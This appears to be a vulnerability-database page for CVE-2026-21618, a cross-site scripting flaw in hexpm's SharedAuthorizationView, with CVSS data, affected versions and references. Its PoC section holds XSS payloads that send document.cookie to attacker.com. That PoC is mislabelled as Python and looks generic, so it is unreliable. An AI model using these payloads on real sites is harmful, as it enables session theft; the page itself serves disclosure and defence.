Security Vulnerability Report
中文
CVE-2026-21618 CVSS 6.1 MEDIUM

CVE-2026-21618

Published: 2026-01-19 15:15:51
Last Modified: 2026-04-06 17:17:07
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in hexpm hexpm/hexpm ('Elixir.HexpmWeb.SharedAuthorizationView' modules) allows Cross-Site Scripting (XSS). This vulnerability is associated with program files lib/hexpm_web/views/shared_authorization_view.ex and program routines 'Elixir.HexpmWeb.SharedAuthorizationView':render_grouped_scopes/3. This issue affects hexpm: from 617e44c71f1dd9043870205f371d375c5c4d886d before c692438684ead90c3bcbfb9ccf4e63c768c668a8, from pkg:github/hexpm/hexpm@617e44c71f1dd9043870205f371d375c5c4d886d before pkg:github/hexpm/hexpm@c692438684ead90c3bcbfb9ccf4e63c768c668a8; hex.pm: from 2025-10-01 before 2026-01-19.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hex:hexpm:*:*:*:*:*:*:*:* - VULNERABLE
hexpm: 617e44c71f1dd9043870205f371d375c5c4d886d 至 c692438684ead90c3bcbfb9ccf4e63c768c668a8之间的版本
hex.pm: 2025-10-01 至 2026-01-19之间的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-21618 PoC - Stored XSS in hexpm SharedAuthorizationView --> <!-- Attack Scenario: Inject malicious JavaScript via OAuth scope parameter --> <!-- Malicious scope payload examples: --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Example attack flow: --> <!-- 1. Attacker crafts a package with malicious authorization scope --> <!-- 2. When victim views authorization page, XSS payload executes --> <!-- 3. Attacker steals session tokens or performs actions as victim --> <!-- Simple test payload for verification: --> <script>console.log('CVE-2026-21618 XSS Confirmed')</script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21618", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-01-19T15:15:50.693", "lastModified": "2026-04-06T17:17:06.820", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in hexpm hexpm/hexpm ('Elixir.HexpmWeb.SharedAuthorizationView' modules) allows Cross-Site Scripting (XSS). This vulnerability is associated with program files lib/hexpm_web/views/shared_authorization_view.ex and program routines 'Elixir.HexpmWeb.SharedAuthorizationView':render_grouped_scopes/3.\n\nThis issue affects hexpm: from 617e44c71f1dd9043870205f371d375c5c4d886d before c692438684ead90c3bcbfb9ccf4e63c768c668a8, from pkg:github/hexpm/hexpm@617e44c71f1dd9043870205f371d375c5c4d886d before pkg:github/hexpm/hexpm@c692438684ead90c3bcbfb9ccf4e63c768c668a8; hex.pm: from 2025-10-01 before 2026-01-19."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en hexpm hexpm/hexpm (módulos 'Elixir.HexpmWeb.SharedAuthorizationView') permite cross-site scripting (XSS). Esta vulnerabilidad está asociada con los archivos de programa lib/hexpm_web/views/shared_authorization_view.ex y las rutinas de programa 'Elixir.HexpmWeb.SharedAuthorizationView':render_grouped_scopes/3.\n\nEste problema afecta a hexpm: desde 617e44c71f1dd9043870205f371d375c5c4d886d antes de c692438684ead90c3bcbfb9ccf4e63c768c668a8, desde pkg:github/hexpm/hexpm@617e44c71f1dd9043870205f371d375c5c4d886d antes de pkg:github/hexpm/hexpm@c692438684ead90c3bcbfb9ccf4e63c768c668a8; hex.pm: desde 2025-10-01 antes de 2026-01-19."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hex:hexpm:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025-10-01", "versionEndExcluding": "2026-01-19", "matchCriteriaId": "0F30BDA9-1780-4D43-9654-3C9548620BE4"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-21618.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"}, {"url": "https://github.com/hexpm/hexpm/commit/c692438684ead90c3bcbfb9ccf4e63c768c668a8", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/hexpm/hexpm/security/advisories/GHSA-6cw9-5gg4-rhpj", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://osv.dev/vulnerability/EEF-CVE-2026-21618", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"}]}}